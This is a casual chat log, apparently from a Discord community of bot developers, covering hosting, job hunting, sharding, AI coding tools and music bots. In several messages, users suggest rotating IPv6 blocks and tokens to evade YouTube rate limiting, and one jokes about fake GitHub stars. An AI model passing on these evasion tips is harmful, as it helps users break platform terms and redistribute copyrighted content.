even now my currency has weakened

#

wish i live in a country that has a great household ISP so i can just use my on premise server instead of renting vps

slender wagon
neon leaf
#

dont be discouraged, im running a total of 1TB of ram at home with 40mbit upload

slender wagon
slender wagon
late island
#

hmm thats al quite low in my eyes

#

only ovh

neon leaf
late island
#

hetzner is pricyer

frosty gale
#

i get it you guys all have big boy serious servers 🙄

frosty gale
late island
#

i am just an hosting company hosting bots, servers xD

neon leaf
#

and 2 times during the crisis

#

im truly a good customer

slender wagon
#

i'd stikc with hetzner. You dont wanna go elsewhere

neon leaf
#

aws ❤️🥀

neon leaf
# slender wagon why

well, when I ordered the server back in 2024 they game me drives with 90% wear, those broke down after 3 months, and a few months ago I reached 120% wear on the new 2024 drives and IO delay shot up so I replaced again and now I have 2x 0% wear drives

slender wagon
neon leaf
#

for each replacement ~10min

slender wagon
#

not the worst

neon leaf
#

yep

#

and ofc, free of charge for all replacements

sage vessel
stark abyss
#

Guys can I have career advice? I have recently graduated with CS degree (I am in US) and I have two unpaid intern experience one for mobile app development in flutter and one full stack development with react. I am unable to find a job and quite frankly I am not so strong in datastructures & algorithms to go for higher level company. Umm so I been applying to everything in boston (where I graduated from) my hometown, remote jobs for any role I can find. And uhhh not sure if I should do the COMPTIA A+ to get into IT field or not. There seems to be more jobs open for those role but the pay isn't the best.

wheat mesa
#

I would say the only ones that are useful are the ones from AWS, Azure, and GCP for their cloud stuff

#

The job market is rough right now, but are you open to moving? That would make your search a lot easier

stark abyss
#

Yeah I am

wheat mesa
#

Apply to jobs out of state if you're willing to move. Lots of new grad SWE positions will give you a signing bonus for relocation

#

Look at applying to new grad positions at banks like Chase, Wells Fargo, Capital One, Bank of America, etc.

#

They have relatively low bars of entry and they have good pay

#

Also do you have projects on your resume? @stark abyss

#

Make sure to optimize your resume as much as you can, 95% of the rejections you will get will be in the filtering stage. If you can increase your first-round interview rate then you will have MUCH better chances of finding something

frosty gale
#

if you tailor your resume to the job description it will massively help your chances as well getting past clueless HR people

#

AI can be very helpful for that sinec it would take ages making a cv for each job

neon leaf
#

@frosty gale I just saw the following in a codebase:

let some_thing = SomeStruct::new(reader);
std::io::copy(&mut { some_thing }, &mut writer)?;

I am disgusted

frosty gale
#

im not exactly sure what im looking at but i know enough to see that its cursed

neon leaf
#

you are looking at how to make non-mutable-owned-variable mutable without reassigning

frosty gale
#

ohhhh right yeah

#

this should be illegal

stark abyss
#

Okay thanks waffle

stark abyss
#

No traction because I didn’t market it so I don’t have many users for it😭

frosty gale
wheat mesa
#

^^

frosty gale
#

get some fake stars on them to go the extra mile 🤑

slender wagon
#

I dont like working anymore

pearl trail
stark abyss
#

ok ok sounds good

loud canopy
#

sorry guys quick question

#

where do i check this?

deft wolf
#

Holy support scam

#

Bro even roleplays dyno

loud canopy
#

bro i deadass thought

#

some dude was crashing out on me

#

like "GO HERE ASK HERE'

#

XD

limber horizon
# grave zealot

I have a question about my top.gg listings' "Server Count" number being way lower than my actuals client.guilds count. Does it update on some interval? Is it just broken?
nb I don't currently handle on_join/on_leave.

digital swan
limber horizon
#

Ugh. Not the answer I'd hoped for but I greatly appreciate the reply.

hard zenith
deft wolf
#

Me when discord developers

hard zenith
lament rock
#

who here develops gmod maps

simple cradle
#

I just figured out how to use the new webhooks for vote rewards, thanks for the super easy instructions in the docs ❤️

ashen notch
#

Hi, my bot has reached 75 servers, and I also received the message on Discord. However, when I try to verify the intents on the Discord Developer Portal, it says that I don’t meet the minimum server requirement. Could you help me?

warm surge
warm surge
prime cliff
#

The 75 server verification is automatic once you fill in the details, privilaged intents need to be manually approved

late island
#

is there someone who can judge the website i am making cause i feel like i been spending 6 days on it and i got tunnel vision or something
idk if its even allowed to ask here if not i am sorry

stark abyss
#

@late island dm me your website link

loud canopy
#

bro i fixed a bug

#

but im not entirely 100% sure

#

so i asked my fellow chatgpt and hes like "yeah it seems like it work but it could break on heavy load"

#

-# bro giving me nightmares

#

like since i dont want ppl to play with multiple sessions open, whenever you open a new one the old one closes, but each view has a view.stop() so the timeout doesnt trigger if you close it, problem is if you open a new one and the old session closes, the timeout would still run, so i added a check that if session is deprecated ignore stalemate and timeout

#

but chatgpt WANTS me to track all views somewhere else to be safe XD

#
[DEBUG] Ignored stale timeout```
swift barn
deft wolf
#

Crazy ad in the sticker name

swift barn
#

akward not my fault its named that

neon leaf
#

An 18 year old memory corruption flaw in NGINX Plus and NGINX Open Source lets an unauthenticated attacker crash worker processes or execute remote code with crafted HTTP requests.

frosty gale
#

the same mfs realising they cant use their tools on closed source apps because there is no source code

scenic zodiac
#

I need an API to download audio from YouTube to play my music robot.

charred nest
nimble kestrel
warm surge
#

i think if i can remember they got lawsuits as well by youtube

craggy pine
#

I do know a work around but Idk if it's against top.gg TOS to mention it here lol.

lament rock
#

Anything related to YouTube downloading/streaming through non official channels has already lead to take downs of the feature from many bots and while yt-dl is still available on GitHub, there was drama surrounding it being DMCA'd by YouTube. Someone even published the ytdl source code to GitHub's official DMCA repo in protest.

GitHub declared that it was taken down for protection circumvention reasons when it wasn't and thus reinstated it.
https://github.blog/news-insights/policy-news-and-insights/standing-up-for-developers-youtube-dl-is-back/

As far as I know, you cannot know if a link has copyrighted content in it, so more often than not, streaming anything from YouTube comes with heavy and very likely risks of you redistributing copyrighted material which is illegal. Full stop. YouTube does take down bots that have YouTube integration regardless of if you are using ytdl or not.

craggy pine
#

Which is a shame but it is what it is. I do use YouTube audio for a personal project not for public use. Rotating IPv6/48 blocks comes in handy lol.

scenic zodiac
craggy pine
#

Hey who I assume is Kuu lol

lyric mountain
#

yep yep

#

decided to stop hiding my fursona

craggy pine
#

Very nice

frosty gale
#

i thought discord's developer and intent verification was a nuisance until i saw facebook's

#

every year you have to fill out an entire ahh form and you also have to provide instructions for their "reviewers" to verify it

#

i think someone on our team that has left ages ago was in charge of it so it wasnt renewed and now access is suspended because of "timely response to their request"

frosty gale
scenic zodiac
slender wagon
#

2 months and a half

#

for this...

deft wolf
slender wagon
#

im abouta

#

crash out

scenic zodiac
neon leaf
#

@frosty gale why are zstd shared dictionaries so OP

#

im using it for a diff based file history now and its so much more efficient than regular diffing

craggy pine
#

LL typically has its own console and debug options. Also they have a Discord server you can get help for it there.

neon leaf
loud canopy
#

me when i forget to () the function

quartz kindle
#

it was merged??

#

is this actually real?

neon leaf
#

yes

#

he rewrote it with claude mythos

quartz kindle
#

holy shit

#

brb gonna write my own js engine with deepseek v4

acoustic fern
#

+1m lmao

#

Do people just hate rust or was it just not necessary to do? Nearly 600 👎 lol

quartz kindle
#

bun was written in zig

#

according to the PR, it had multiple efficiency issues and memory leaks that would be very difficult to solve in zig

#

so they went ahead and rewritten everything in rust lol

acoustic fern
#

Is that just a skill issue? As in memory bugs in c++ are just a skill issue

quartz kindle
#

this is a pretty big blow to the zig programing language

quartz kindle
acoustic fern
#

Big win for Claude though

quartz kindle
#

maybe they made skill issue mistakes years ago

acoustic fern
#

Plus it’s all voluntary right

quartz kindle
#

well they own everything, so they are just playing with their own tools

#

anthropic owns both claude and bun lol

acoustic fern
#

Oh, I didn’t know that

#

Well I did but I forgot

#

Damn 💀

frosty gale
quartz kindle
#

they proved themselves quite a bit with bun, but in the end rust still dominates

delicate zephyr
#

oh hi tim

frosty gale
#

i think this is a W

quartz kindle
loud canopy
#

wait i tried the in built ai agent in vscode and i was like asking for some stuff i want to build just to see what kind of weird stuff he about to give me, after explaining what i wanted more or less he looked at my project and automatically just decided to use the BaseView i custom made for the class without me telling him okay okay i wasnt familiar with ur game ai

wheat mesa
#

Claude code would blow this guy’s mind

neon leaf
nimble kestrel
#

Claude >> everything

frosty gale
neon leaf
frosty gale
#

they gatekeeping mythos from us frfr

#

... unless you're a company with lots of money

neon leaf
#

or curl author who technically got access but didnt

quartz kindle
#

imagine releasing to public an ai that can find hundreds of unknown vulnerabilities

pearl trail
#

we’re living in a vulnerable world

#

don’t even know how vulnerable is basic hello world rest api

neon leaf
#

@knotty night

neon leaf
#

@knotty night

slender wagon
#

They could discover the same sith the other models as well just not as fast

#

Its still very very pricey

loud canopy
late island
#

after your bot reaches 2500 servers you need to start splitting into multiple instances right?

acoustic fern
#

Well you need to have multiple websocket connections

late island
#

so basicly it sharding?

const { ShardingManager } = require('discord.js');

const manager = new ShardingManager('./src/index.js', {
  token: process.env.DISCORD_TOKEN,
  totalShards: 'auto',
});
quartz kindle
#

its recommended to start at 1500

#

2500 is the hard limit

neon leaf
mossy apex
#

-# tell me what's the results

digital swan
main karma
#

GM guys

prime cliff
#

Gonna be making a space colony simulator game like rimworld but with space tech and stuff like ships, weapons like phasers, spooky aliens and raiders that attack, astroids that spawn in the map for resources, wormholes to explore.

If you guys have any suggestions and i can also reference things from stuff like star trek and using Unity to make it.

stark abyss
lament rock
#

Having everything on the main thread is a big cope for longer playthroughs :)

prime cliff
#

Yea will get the basic stuff first then work on performance

lyric mountain
#

except for the wormholes

frosty gale
#

although its not as bad as influencers are making it out to be because it doesn't break bitlocker's encryption it only tricks windows into unlocking the drive automatically using the TPM and granting full access to the drive

#

if you use password based bitlocker this does nothing

neon leaf
#

had to recover a device with passive bitlocker

sharp geyser
#

note to self, dont use cjs for postcss config file, apparently it bricks everything and causes memory leaks

#

have no idea why cjs vs mjs matters here

deft wolf
#

#ad

clever tundra
#

@knotty night ad?

wheat mesa
#

GDPR compliant but probably sends messages to GPT 🙏 😭

knotty night
#

@lean pumice no ads

vivid shale
#

Im lowk impressed with myself

#

so-

#

is there anything else with the API I could possible make like does it show how many times the user votes via the api?

digital swan
#

you could count it yourself in your database

#

then you can add streaks, bonuses for long streaks etc

neon flicker
#

I'm just back to bot development after a while, how to add these lines inside my embeds using discord.js?

prime bridge
#

Is there anyone looking for dev?

deft wolf
#

Most of us active here are developers

prime bridge
#

if then, is there anyone who needs an additional developer?

slender wagon
#

I have certain intents only needed for the initial setup. Would it be ok to create a second bot only invited temporary to create the setup initially needed for the main bot and then the temp bot is kicked

lament rock
#

From a UX standpoint, that sucks

#

Also, how would you assure that people would actually kick the bot

#

you could leave yourself, but what if setup fails or they want to re-setup? Then what?

prime cliff
#

You can just POST leave server on the temp bot instead of kick and needing said permission :/

slender wagon
slender wagon
lone trellis
#

Hey everyone, I’ve been working on a Discord music bot and ran into YouTube rate-limiting issues once the bot started scaling/testing more aggressively.
I noticed the issue becomes much more apparent on VPS/cloud-hosted environments like ORACLE compared to local testing, especially when multiple song searches/stream fetches happen close together. I was curious how larger music bots typically handle this nowadays ? Anyone got ideas?

craggy pine
#

IPv6 Rotation, Refresh Tokens, Cyphers. Due to how YouTube works, they can randomly change something and everything goes to shit and you have to wait for your library people to update to handle the new changes. Most music bots opt into other streaming services if YouTube fails (or won't use YouTube for audio period) such as Soundcloud ect.

loud canopy
#

is the developer website working fine for everyone?

#

(discord developer website)